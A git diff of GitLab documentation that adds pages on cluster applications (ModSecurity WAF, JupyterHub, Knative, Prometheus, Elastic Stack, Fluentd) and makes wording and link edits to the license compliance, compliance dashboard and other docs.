+control. GitLab applies the [OWASP's Core Rule Set](https://www.modsecurity.org/CRS/Documentation/),
+which provides generic attack detection capabilities.
+
+This feature:
+
+- Runs in "Detection-only mode" unless configured otherwise.
+- Is viewable by checking your Ingress controller's `modsec` log for rule violations.
+ For example:
+
+ ```shell
+ kubectl -n gitlab-managed-apps logs -l app=nginx-ingress,component=controller -c modsecurity-log -f
+ ```
+
+To enable WAF, switch its respective toggle to the enabled position when installing
+or updating [Ingress application](#ingress).
+
+If this is your first time using the GitLab WAF, we recommend you follow the
+[quick start guide](../../topics/web_application_firewall/quick_start_guide.md).
+
+There is a small performance overhead by enabling ModSecurity. If this is
+considered significant for your application, you can disable ModSecurity's
+rule engine for your deployed application in any of the following ways:
+
+1. Set the [deployment variable](../../topics/autodevops/index.md)
+ `AUTO_DEVOPS_MODSECURITY_SEC_RULE_ENGINE` to `Off` to prevent ModSecurity
+ from processing any requests for the given application or environment.
+1. Switch its respective toggle to the disabled position, and then apply changes
+ by selecting **Save changes** to reinstall Ingress with the recent changes.
+
+![Disabling WAF](../../topics/web_application_firewall/img/guide_waf_ingress_save_changes_v12_10.png)
+
+##### Logging and blocking modes
+
+To help you tune your WAF rules, you can globally set your WAF to either
+*Logging* or *Blocking* mode:
+
+- *Logging mode*: Allows traffic matching the rule to pass, and logs the event.
+- *Blocking mode*: Prevents traffic matching the rule from passing, and logs the event.
+
+To change your WAF's mode:
+
+1. If you haven't already done so,
+ [install ModSecurity](../../topics/web_application_firewall/quick_start_guide.md).
+1. Navigate to **Operations > Kubernetes**.
+1. In **Applications**, scroll to **Ingress**.
+1. Under **Global default**, select your desired mode.
+1. Select **Save changes**.
+
+##### WAF version updates
+
+Enabling, disabling, or changing the logging mode for **ModSecurity** is only
+allowed in same version of [Ingress](#ingress) due to limitations in
+[Helm](https://helm.sh/) which might be overcome in future releases.
+
+The **ModSecurity** user interface controls are disabled if the version deployed
+differs from the one available in GitLab. However, actions at the [Ingress](#ingress)
+level, such as uninstalling, can still be performed:
+
+![WAF settings disabled](../../topics/web_application_firewall/img/guide_waf_ingress_disabled_settings_v12_10.png)
+
+Update [Ingress](#ingress) to the most recent version to take advantage of bug
+fixes, security fixes, and performance improvements. To update the
+[Ingress application](#ingress), you must first uninstall it, and then re-install
+it as described in [Install ModSecurity](../../topics/web_application_firewall/quick_start_guide.md).
+
+##### Viewing Web Application Firewall traffic
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14707) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.9.
+
+You can view Web Application Firewall traffic by navigating to your project's
+**Security & Compliance > Threat Monitoring** page. From there, you can see
+tracked over time:
+
+- The total amount of traffic to your application.
+- The proportion of traffic that's considered anomalous by the Web Application
+ Firewall's default [OWASP ruleset](https://www.modsecurity.org/CRS/Documentation/).
+
+If a significant percentage of traffic is anomalous, investigate it for potential threats
+by [examining the Web Application Firewall logs](#web-application-firewall-modsecurity).
+
+![Threat Monitoring](img/threat_monitoring_v12_9.png)
+
+### JupyterHub
+
+> - Introduced in GitLab 11.0 for project-level clusters.
+> - Introduced in GitLab 12.3 for group and instance-level clusters.
+
+[JupyterHub](https://jupyterhub.readthedocs.io/en/stable/) is a multi-user service
+for managing notebooks across a team. [Jupyter Notebooks](https://jupyter-notebook.readthedocs.io/en/latest/)
+provide a web-based interactive programming environment used for data analysis,
+visualization, and machine learning.
+
+The [`jupyter/jupyterhub`](https://jupyterhub.github.io/helm-chart/)
+chart is used to install this application with a
+[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/jupyter/values.yaml)
+file.
+
+Authentication is enabled only for [project members](../project/members/index.md)
+for project-level clusters and group members for group-level clusters with
+[Developer or higher](../permissions.md) access to the associated project or group.
+
+GitLab uses a [custom Jupyter image](https://gitlab.com/gitlab-org/jupyterhub-user-image/blob/master/Dockerfile)
+that installs additional relevant packages on top of the base Jupyter. Ready-to-use
+DevOps Runbooks built with Nurtch's [Rubix library](https://github.com/Nurtch/rubix)
+are also available.
+
+More information on creating executable runbooks can be found in
+[our Runbooks documentation](../project/clusters/runbooks/index.md#configure-an-executable-runbook-with-gitlab).
+Ingress must be installed and have an IP address assigned before
+JupyterHub can be installed.
+
+#### Jupyter Git Integration
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/28783) in GitLab 12.0 for project-level clusters.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/32512) in GitLab 12.3 for group and instance-level clusters.
+
+When installing JupyterHub onto your Kubernetes cluster,
+[JupyterLab's Git extension](https://github.com/jupyterlab/jupyterlab-git)
+is provisioned and configured using the authenticated user's:
+
+- Name.
+- Email.
+- Newly created access token.
+
+JupyterLab's Git extension enables full version control of your notebooks, and
+issuance of Git commands in Jupyter. You can issue Git commands through the
+**Git** tab on the left panel, or through Jupyter's command-line prompt.
+
+JupyterLab's Git extension stores the user token in the JupyterHub DB in encrypted
+format, and in the single user Jupyter instance as plain text, because
+[Git requires storing credentials as plain text](https://git-scm.com/docs/git-credential-store)
+Potentially, if a nefarious user finds a way to read from the file system in the
+single-user Jupyter instance, they could retrieve the token.
+
+![Jupyter's Git Extension](img/jupyter-git-extension.gif)
+
+You can clone repositories from the files tab in Jupyter:
+
+![Jupyter clone repository](img/jupyter-gitclone.png)
+
+### Knative
+
+> - Introduced in GitLab 11.5 for project-level clusters.
+> - Introduced in GitLab 12.3 for group- and instance-level clusters.
+
+[Knative](https://cloud.google.com/knative/) provides a platform to
+create, deploy, and manage serverless workloads from a Kubernetes
+cluster. It's used in conjunction with, and includes
+[Istio](https://istio.io) to provide an external IP address for all
+programs hosted by Knative.
+
+The [`knative/knative`](https://storage.googleapis.com/triggermesh-charts)
+chart is used to install this application.
+
+During installation, you must enter a wildcard domain where your applications
+are exposed. Configure your DNS server to use the external IP address for that
+domain. Applications created and installed are accessible as
+`<program_name>.<kubernetes_namespace>.<domain_name>`, which requires
+your Kubernetes cluster to have
+[RBAC enabled](../project/clusters/add_remove_clusters.md#rbac-cluster-resources).
+
+### Prometheus
+
+> - Introduced in GitLab 10.4 for project-level clusters.
+> - Introduced in GitLab 11.11 for group-level clusters.
+
+[Prometheus](https://prometheus.io/docs/introduction/overview/) is an
+open-source monitoring and alerting system you can use to supervise your
+deployed applications.
+
+GitLab is able to monitor applications by using the
+[Prometheus integration](../project/integrations/prometheus.md). Kubernetes container CPU and
+memory metrics are collected, and response metrics are also retrieved
+from NGINX Ingress.
+
+The [`stable/prometheus`](https://github.com/helm/charts/tree/master/stable/prometheus)
+chart is used to install this application with a
+[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/prometheus/values.yaml)
+file.
+
+To enable monitoring, install Prometheus into the cluster with the **Install**
+button.
+
+### Crossplane
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34702) in GitLab 12.5 for project-level clusters.
+
+[Crossplane](https://crossplane.github.io/docs/v0.9/) is a multi-cloud control plane
+to help you manage applications and infrastructure across multiple clouds. It extends the
+Kubernetes API using:
+
+- Custom resources.
+- Controllers that watch those custom resources.
+
+Crossplane allows provisioning and lifecycle management of infrastructure components
+across cloud providers in a uniform manner by abstracting cloud provider-specific
+configurations.
+
+The Crossplane GitLab-managed application:
+
+- Installs Crossplane with a provider of choice on a Kubernetes cluster attached to the
+ project repository.
+- Can then be used to provision infrastructure or managed applications such as
+ PostgreSQL (for example, CloudSQL from GCP or RDS from AWS) and other services
+ required by the application with the Auto DevOps pipeline.
+
+[`alpha/crossplane`](https://github.com/crossplane/crossplane/tree/v0.4.1/cluster/charts/crossplane) chart v0.4.1 is used to
+install Crossplane using the
+[`values.yaml`](https://github.com/crossplane/crossplane/blob/master/cluster/charts/crossplane/values.yaml.tmpl)
+file.
+
+For information about configuring Crossplane installed on the cluster, see
+[Crossplane configuration](crossplane.md).
+
+### Elastic Stack
+
+> Introduced in GitLab 12.7 for project- and group-level clusters.
+
+[Elastic Stack](https://www.elastic.co/elastic-stack) is a complete end-to-end
+log analysis solution which helps in deep searching, analyzing and visualizing the logs
+generated from different machines.
+
+GitLab can gather logs from pods in your cluster. Filebeat runs as a DaemonSet
+on each node in your cluster, and ships container logs to Elasticsearch for
+querying. GitLab then connects to Elasticsearch for logs, instead of the
+Kubernetes API, giving you access to more advanced querying capabilities. Log
+data is deleted after 30 days, using [Curator](https://www.elastic.co/guide/en/elasticsearch/client/curator/5.5/about.html).
+
+The Elastic Stack cluster application is intended as a log aggregation solution
+and is not related to our [Advanced Search](../search/advanced_global_search.md)
+functionality, which uses a separate Elasticsearch cluster.
+
+To enable log shipping:
+
+1. Ensure your cluster contains at least three nodes of instance types larger
+ than `f1-micro`, `g1-small`, or `n1-standard-1`.
+1. Navigate to **Operations > Kubernetes**.
+1. In **Kubernetes Cluster**, select a cluster.
+1. In the **Applications** section, find **Elastic Stack**, and then select
+ **Install**.
+
+The [`gitlab/elastic-stack`](https://gitlab.com/gitlab-org/charts/elastic-stack)
+chart is used to install this application with a
+[`values.yaml`](https://gitlab.com/gitlab-org/gitlab/blob/master/vendor/elastic_stack/values.yaml)
+file. The chart deploys three identical Elasticsearch pods which can't be
+colocated, and each requires one CPU and 2 GB of RAM, making them
+incompatible with clusters containing fewer than three nodes, or consisting of
+`f1-micro`, `g1-small`, `n1-standard-1`, or `*-highcpu-2` instance types.
+
+#### Optional: deploy Kibana to perform advanced queries
+
+If you are an advanced user and have direct access to your Kubernetes cluster
+using `kubectl` and `helm`, you can deploy Kibana manually. The following assumes
+that `helm` has been [initialized](https://v2.helm.sh/docs/helm/) with `helm init`.
+
+Save the following to `kibana.yml`:
+
+```yaml
+elasticsearch:
+ enabled: false
+
+filebeat:
+ enabled: false
+
+kibana:
+ enabled: true
+ elasticsearchHosts: http://elastic-stack-elasticsearch-master.gitlab-managed-apps.svc.cluster.local:9200
+```
+
+Then install it on your cluster:
+
+```shell
+helm repo add gitlab https://charts.gitlab.io
+helm install --name kibana gitlab/elastic-stack --values kibana.yml
+```
+
+To access Kibana, forward the port to your local machine:
+
+```shell
+kubectl port-forward svc/kibana-kibana 5601:5601
+```
+
+Then, you can visit Kibana at `http://localhost:5601`.
+
+### Fluentd
+
+> Introduced in GitLab 12.10 for project- and group-level clusters.
+
+[Fluentd](https://www.fluentd.org/) is an open source data collector, which enables
+you to unify the data collection and consumption to better use and understand
+your data. Fluentd sends logs in syslog format.
+
+To enable Fluentd:
+
+1. Navigate to **Operations > Kubernetes** and click
+ **Applications**. Enter a host, port, and protocol
+ for sending the WAF logs with syslog.
+1. Provide the host domain name or URL in **SIEM Hostname**.
+1. Provide the host port number in **SIEM Port**.
+1. Select a **SIEM Protocol**.
+1. Select at least one of the available logs (such as WAF or Cilium).
+1. Click **Save changes**.
+
+![Fluentd input fields](img/fluentd_v13_0.png)
## Upgrading applications
diff --git a/doc/user/clusters/cost_management.md b/doc/user/clusters/cost_management.md
index f13be15c6bc..d1df5642514 100644
--- a/doc/user/clusters/cost_management.md
+++ b/doc/user/clusters/cost_management.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Cluster cost management **(ULTIMATE)**
@@ -10,7 +10,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Cluster cost management provides insights into cluster resource usage. GitLab provides an example
[`kubecost-cost-model`](https://gitlab.com/gitlab-examples/kubecost-cost-model/)
-project that uses GitLab's Prometheus integration and
+project that uses the GitLab Prometheus integration and
[Kubecost's `cost-model`](https://github.com/kubecost/cost-model) to provide cluster cost
insights within GitLab:
@@ -28,7 +28,7 @@ permissions in a project or group.
need to change this value if you use a non-managed Prometheus.
- Adds the necessary annotations to the deployment manifest to be scraped by
GitLab-managed Prometheus.
- - Changes the Google Pricing API access key to GitLab's access key.
+ - Changes the Google Pricing API access key to the GitLab access key.
- Contains definitions for a custom GitLab Metrics dashboard to show the cost insights.
1. Connect GitLab with Prometheus, depending on your configuration:
- *If Prometheus is already configured,* navigate to **Settings > Integrations > Prometheus**
@@ -58,7 +58,7 @@ file or creating similar dashboard configuration files. To learn more, read abou
#### Available metrics
-Metrics contain both instance and node labels. The instance label will be deprecated in a future version.
+Metrics contain both instance and node labels. The instance label is scheduled for deprecation in a future version.
- `node_cpu_hourly_cost` - Hourly cost per vCPU on this node.
- `node_gpu_hourly_cost` - Hourly cost per GPU on this node.
diff --git a/doc/user/clusters/crossplane.md b/doc/user/clusters/crossplane.md
index 8463917f2f3..c1ef798f5a8 100644
--- a/doc/user/clusters/crossplane.md
+++ b/doc/user/clusters/crossplane.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Crossplane configuration
diff --git a/doc/user/clusters/environments.md b/doc/user/clusters/environments.md
index 3ab20c5466e..be4ac8151e4 100644
--- a/doc/user/clusters/environments.md
+++ b/doc/user/clusters/environments.md
@@ -1,7 +1,7 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Cluster Environments **(PREMIUM)**
diff --git a/doc/user/clusters/management_project.md b/doc/user/clusters/management_project.md
index f7241444a6b..55f507fb318 100644
--- a/doc/user/clusters/management_project.md
+++ b/doc/user/clusters/management_project.md
@@ -1,12 +1,12 @@
---
stage: Configure
group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Cluster management project (alpha)
+# Cluster management project
-CAUTION: **Warning:**
+WARNING:
This is an _alpha_ feature, and it is subject to change at any time without
prior notice.
@@ -20,13 +20,13 @@ privileges.
This can be useful for:
-- Creating pipelines to install cluster-wide applications into your cluster, see [Install using GitLab CI/CD (alpha)](applications.md#install-using-gitlab-cicd-alpha) for details.
+- Creating pipelines to install cluster-wide applications into your cluster, see [Install using GitLab CI/CD (alpha)](applications.md#install-using-gitlab-cicd) for details.
- Any jobs that require `cluster-admin` privileges.
## Permissions
-Only the management project will receive `cluster-admin` privileges. All
-other projects will continue to receive [namespace scoped `edit` level privileges](../project/clusters/add_remove_clusters.md#rbac-cluster-resources).
+Only the management project receives `cluster-admin` privileges. All
+other projects continue to receive [namespace scoped `edit` level privileges](../project/clusters/add_remove_clusters.md#rbac-cluster-resources).
Management projects are restricted to the following:
@@ -92,7 +92,7 @@ to a management project:
| Production | `production` |
The following environments set in
-[`.gitlab-ci.yml`](../../ci/yaml/README.md) will deploy to the
+[`.gitlab-ci.yml`](../../ci/yaml/README.md) deploy to the
Development, Staging, and Production cluster respectively.
```yaml
diff --git a/doc/user/compliance/compliance_dashboard/index.md b/doc/user/compliance/compliance_dashboard/index.md
index 151c61b50d8..f1dfc431f25 100644
--- a/doc/user/compliance/compliance_dashboard/index.md
+++ b/doc/user/compliance/compliance_dashboard/index.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Manage
group: Compliance
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Compliance Dashboard **(ULTIMATE)**
@@ -19,7 +19,7 @@ To access the Compliance Dashboard for a group, navigate to **{shield}** **Secur
![Compliance Dashboard](img/compliance_dashboard_v13_6.png)
-NOTE: **Note:**
+NOTE:
The Compliance Dashboard shows only the latest MR on each project.
## Use cases
@@ -81,6 +81,6 @@ To download the Chain of Custody report, navigate to **{shield}** **Security & C
You can generate a commit-specific Chain of Custody report for a given commit SHA. To do so, select
the dropdown next to the **List of all merge commits** button at the top of the Compliance Dashboard.
-NOTE: **Note:**
+NOTE:
The Chain of Custody report download is a CSV file, with a maximum size of 15 MB.
The remaining records are truncated when this limit is reached.
diff --git a/doc/user/compliance/index.md b/doc/user/compliance/index.md
index d0e73b47358..d31f877c418 100644
--- a/doc/user/compliance/index.md
+++ b/doc/user/compliance/index.md
@@ -2,7 +2,7 @@
type: reference
stage: Manage
group: Compliance
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Compliance **(ULTIMATE)**
diff --git a/doc/user/compliance/license_compliance/index.md b/doc/user/compliance/license_compliance/index.md
index 65c009f947f..f78b6115623 100644
--- a/doc/user/compliance/license_compliance/index.md
+++ b/doc/user/compliance/license_compliance/index.md
@@ -2,7 +2,7 @@
type: reference, howto
stage: Secure
group: Composition Analysis
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# License Compliance **(ULTIMATE)**
@@ -19,21 +19,21 @@ in your existing `.gitlab-ci.yml` file or by implicitly using
[Auto License Compliance](../../../topics/autodevops/stages.md#auto-license-compliance)
that is provided by [Auto DevOps](../../../topics/autodevops/index.md).
-GitLab checks the License Compliance report, compares the licenses between the
-source and target branches, and shows the information right on the merge request.
-Denied licenses will be clearly visible with an `x` red icon next to them
-as well as new licenses which need a decision from you. In addition, you can
-[manually allow or deny](#policies)
-licenses in your project's license compliance policy section. If GitLab detects a denied license
-in a new commit, GitLab blocks any merge requests containing that commit and instructs the developer
-to remove the license.
+The [License Finder](https://github.com/pivotal/LicenseFinder) scan tool runs as part of the CI/CD
+pipeline, and detects the licenses in use. GitLab checks the License Compliance report, compares the
+licenses between the source and target branches, and shows the information right on the merge
+request. Denied licenses are indicated by a `x` red icon next to them as well as new licenses that
+need a decision from you. In addition, you can [manually allow or deny](#policies) licenses in your
+project's license compliance policy section. If a denied license is detected in a new commit,
+GitLab blocks any merge requests containing that commit and instructs the developer to remove the
+license.
-NOTE: **Note:**
+NOTE:
If the license compliance report doesn't have anything to compare to, no information
-will be displayed in the merge request area. That is the case when you add the
+is displayed in the merge request area. That is the case when you add the
`license_scanning` job in your `.gitlab-ci.yml` for the first time.
-Consecutive merge requests will have something to compare to and the license
-compliance report will be shown properly.
+Consecutive merge requests have something to compare to and the license
+compliance report is shown properly.
![License Compliance Widget](img/license_compliance_v13_0.png)
@@ -51,36 +51,33 @@ You can view and modify existing policies from the [policies](#policies) tab.
The following languages and package managers are supported.
-| Language | Package managers | Notes | Scan Tool |
-|------------|------------------|-------|-----------|
-| JavaScript | [Bower](https://bower.io/), [npm](https://www.npmjs.com/) | | [License Finder](https://github.com/pivotal/LicenseFinder) |
-| Go | [Godep](https://github.com/tools/godep), [go mod](https://github.com/golang/go/wiki/Modules) | | [License Finder](https://github.com/pivotal/LicenseFinder) |
-| Java | [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/) | | [License Finder](https://github.com/pivotal/LicenseFinder) |
-| .NET | [Nuget](https://www.nuget.org/) | The .NET Framework is supported via the [mono project](https://www.mono-project.com/). There are, however, some limitations. The scanner doesn't support Windows-specific dependencies and doesn't report dependencies of your project's listed dependencies. Also, the scanner always marks detected licenses for all dependencies as `unknown`. | [License Finder](https://github.com/pivotal/LicenseFinder) |
-| Python | [pip](https://pip.pypa.io/en/stable/) | Python is supported through [requirements.txt](https://pip.pypa.io/en/stable/user_guide/#requirements-files) and [Pipfile.lock](https://github.com/pypa/pipfile#pipfilelock). | [License Finder](https://github.com/pivotal/LicenseFinder) |
-| Ruby | [gem](https://rubygems.org/) | | [License Finder](https://github.com/pivotal/LicenseFinder)|
+Java 8 and Gradle 1.x projects are not supported. The minimum supported version of Maven is 3.2.5.
-NOTE: **Note:**
-Java 8 and Gradle 1.x projects are not supported.
-The minimum supported version of Maven is 3.2.5.
+| Language | Package managers | Notes |
+|------------|----------------------------------------------------------------------------------------------|-------|
+| JavaScript | [Bower](https://bower.io/), [npm](https://www.npmjs.com/) | |
+| Go | [Godep](https://github.com/tools/godep), [go mod](https://github.com/golang/go/wiki/Modules) | |
+| Java | [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/) | |
+| .NET | [Nuget](https://www.nuget.org/) | The .NET Framework is supported via the [mono project](https://www.mono-project.com/). There are, however, some limitations. The scanner doesn't support Windows-specific dependencies and doesn't report dependencies of your project's listed dependencies. Also, the scanner always marks detected licenses for all dependencies as `unknown`. |
+| Python | [pip](https://pip.pypa.io/en/stable/) | Python is supported through [requirements.txt](https://pip.pypa.io/en/stable/user_guide/#requirements-files) and [Pipfile.lock](https://github.com/pypa/pipfile#pipfilelock). |
+| Ruby | [gem](https://rubygems.org/) | |
### Experimental support
-The following languages and package managers are [supported experimentally](https://github.com/pivotal/LicenseFinder#experimental-project-types),
-which means that the reported licenses might be incomplete or inaccurate.
-
-| Language | Package managers | Scan Tool |
-|------------|-------------------------------------------------------------------|----------------------------------------------------------|
-| JavaScript | [Yarn](https://yarnpkg.com/)|[License Finder](https://github.com/pivotal/LicenseFinder)|
-| Go | go get, gvt, glide, dep, trash, govendor |[License Finder](https://github.com/pivotal/LicenseFinder)|
-| Erlang | [Rebar](https://www.rebar3.org/) |[License Finder](https://github.com/pivotal/LicenseFinder)|
-| Objective-C, Swift | [Carthage](https://github.com/Carthage/Carthage) | | [License Finder](https://github.com/pivotal/LicenseFinder) |
-| Objective-C, Swift | [CocoaPods](https://cocoapods.org/) v0.39 and below |[License Finder](https://github.com/pivotal/LicenseFinder)|
-| Elixir | [Mix](https://elixir-lang.org/getting-started/mix-otp/introduction-to-mix.html) |[License Finder](https://github.com/pivotal/LicenseFinder)|
-| C++/C | [Conan](https://conan.io/) |[License Finder](https://github.com/pivotal/LicenseFinder)|
-| Scala | [sbt](https://www.scala-sbt.org/) |[License Finder](https://github.com/pivotal/LicenseFinder)|
-| Rust | [Cargo](https://crates.io) |[License Finder](https://github.com/pivotal/LicenseFinder)|
-| PHP | [Composer](https://getcomposer.org/) |[License Finder](https://github.com/pivotal/LicenseFinder)|
+The following languages and package managers are [supported experimentally](https://github.com/pivotal/LicenseFinder#experimental-project-types).
+The reported licenses might be incomplete or inaccurate.
+
+| Language | Package managers |
+|------------|---------------------------------------------------------------------------------------------------------------|
+| JavaScript | [Yarn](https://yarnpkg.com/) |
+| Go | go get, gvt, glide, dep, trash, govendor |
+| Erlang | [Rebar](https://www.rebar3.org/) |
+| Objective-C, Swift | [Carthage](https://github.com/Carthage/Carthage), [CocoaPods](https://cocoapods.org/) v0.39 and below |
+| Elixir | [Mix](https://elixir-lang.org/getting-started/mix-otp/introduction-to-mix.html) |
+| C++/C | [Conan](https://conan.io/) |
+| Scala | [sbt](https://www.scala-sbt.org/) |
+| Rust | [Cargo](https://crates.io) |
+| PHP | [Composer](https://getcomposer.org/) |
## Requirements
@@ -109,12 +106,12 @@ include:
The included template creates a `license_scanning` job in your CI/CD pipeline and scans your
dependencies to find their licenses.
-NOTE: **Note:**
+NOTE:
Before GitLab 12.8, the `license_scanning` job was named `license_management`. GitLab 13.0 removes
the `license_management` job, so you must migrate to the `license_scanning` job and use the new
`License-Scanning.gitlab-ci.yml` template.
-The results will be saved as a
+The results are saved as a
[License Compliance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportslicense_scanning)
that you can later download and analyze. Due to implementation limitations, we
always take the latest License Compliance artifact available. Behind the scenes, the
@@ -160,7 +157,7 @@ in the project automated setup, like the download and installation of a certific
For that, a `LICENSE_MANAGEMENT_SETUP_CMD` environment variable can be passed to the container,
with the required commands to run before the license detection.
-If present, this variable will override the setup step necessary to install all the packages
+If present, this variable overrides the setup step necessary to install all the packages
of your application (e.g.: for a project with a `Gemfile`, the setup step could be
`bundle install`).
@@ -179,7 +176,7 @@ directory of your project.
### Overriding the template
-CAUTION: **Deprecation:**
+WARNING:
Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/README.md#onlyexcept-basic)
is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead.
@@ -274,13 +271,13 @@ to specify its location.
### Configuring NPM projects
-You can configure NPM projects by using an [`.npmrc`](https://docs.npmjs.com/configuring-npm/npmrc.html)
+You can configure NPM projects by using an [`.npmrc`](https://docs.npmjs.com/configuring-npm/npmrc.html/)
file.
#### Using private NPM registries
If you have a private NPM registry you can use the
-[`registry`](https://docs.npmjs.com/using-npm/config#registry)
+[`registry`](https://docs.npmjs.com/using-npm/config/#registry)
setting to specify its location.
For example:
@@ -294,7 +291,7 @@ registry = https://npm.example.com
You can supply a custom root certificate to complete TLS verification by using the
`ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables).
-To disable TLS verification you can provide the [`strict-ssl`](https://docs.npmjs.com/using-npm/config#strict-ssl)
+To disable TLS verification you can provide the [`strict-ssl`](https://docs.npmjs.com/using-npm/config/#strict-ssl)
setting.
For example:
@@ -454,7 +451,7 @@ if a GitLab remote is specified in the `.conan/remotes.json` file.
To override the default credentials specify a [`CONAN_LOGIN_USERNAME_{REMOTE_NAME}`](https://docs.conan.io/en/latest/reference/env_vars.html#conan-login-username-conan-login-username-remote-name)
matching the name of the remote specified in the `.conan/remotes.json` file.
-NOTE: **Note:**
+NOTE:
[MSBuild](https://github.com/mono/msbuild#microsoftbuild-msbuild) projects aren't supported. The
`license_scanning` image ships with [Mono](https://www.mono-project.com/) and [MSBuild](https://github.com/mono/msbuild#microsoftbuild-msbuild).
Additional setup may be required to build packages for this project configuration.
@@ -616,7 +613,7 @@ To use License Compliance in an offline environment, you need:
- GitLab Runner with the [`docker` or `kubernetes` executor](#requirements).
- Docker Container Registry with locally available copies of License Compliance [analyzer](https://gitlab.com/gitlab-org/security-products/analyzers) images.
-NOTE: **Note:**
+NOTE:
GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy),
meaning the runner tries to pull Docker images from the GitLab container registry even if a local
copy is available. The GitLab Runner [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy)
@@ -695,7 +692,7 @@ requirements must be met:
[supported languages and package managers](#supported-languages-and-package-managers).
Once everything is set, navigate to **Security & Compliance > License Compliance**
-in your project's sidebar, and you'll see the licenses displayed, where:
+in your project's sidebar, and the licenses are displayed, where:
- **Name:** The name of the license.
- **Component:** The components which have this license.
@@ -708,8 +705,8 @@ in your project's sidebar, and you'll see the licenses displayed, where:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22465) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.9.
Policies allow you to specify licenses that are `allowed` or `denied` in a project. If a `denied`
-license is newly committed it will disallow a merge request and instruct the developer to remove it.
-Note, the merge request will not be able to be merged until the `denied` license is removed.
+license is newly committed it blocks the merge request and instructs the developer to remove it.
+Note, the merge request is not able to be merged until the `denied` license is removed.
You may add a [`License-Check` approval rule](#enabling-license-approvals-within-a-project),
which enables a designated approver that can approve and then merge a merge request with `denied` license.
@@ -771,7 +768,7 @@ specify the desired version by adding a
or using the appropriate [`ASDF_<tool>_VERSION`](https://asdf-vm.com/#/core-configuration?id=environment-variables) environment variable to
activate the appropriate version.
-For example, the following `.tool-versions` file will activate version `12.16.3` of [Node.js](https://nodejs.org/)
+For example, the following `.tool-versions` file activates version `12.16.3` of [Node.js](https://nodejs.org/)
and version `2.7.2` of [Ruby](https://www.ruby-lang.org/).
```plaintext
@@ -828,5 +825,5 @@ $ docker run -it --entrypoint='' registry.gitlab.com/gitlab-org/security-product
root@6abb70e9f193:~#
```
-NOTE: **Note:**
+NOTE:
Selecting a custom version of [Mono](https://www.mono-project.com/) or [.NET Core](https://dotnet.microsoft.com/download/dotnet-core) is currently not supported.
diff --git a/doc/user/discussions/index.md b/doc/user/discussions/index.md
index d3576ea33fe..945c082bba9 100644
--- a/doc/user/discussions/index.md
+++ b/doc/user/discussions/index.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, howto
---
@@ -31,7 +31,7 @@ You can also reply to a comment notification email to reply to the comment if
creates another standard comment. Replying to a threaded comment creates a reply in the thread. Email replies support
[Markdown](../markdown.md) and [quick actions](../project/quick_actions.md), just as if you replied from the web.
-NOTE: **Note:**
+NOTE:
There is a limit of 5,000 comments for every object, for example: issue, epic, and merge request.
## Resolvable comments and threads
@@ -85,7 +85,7 @@ Threads created this way will only appear in the original merge request
and not when navigating to that commit under your project's
**Repository > Commits** page.
-TIP: **Tip:**
+NOTE:
When a link of a commit reference is found in a thread inside a merge
request, it will be automatically converted to a link in the context of the
current merge request.
@@ -206,7 +206,7 @@ top-level resolvable threads are not automatically resolved.
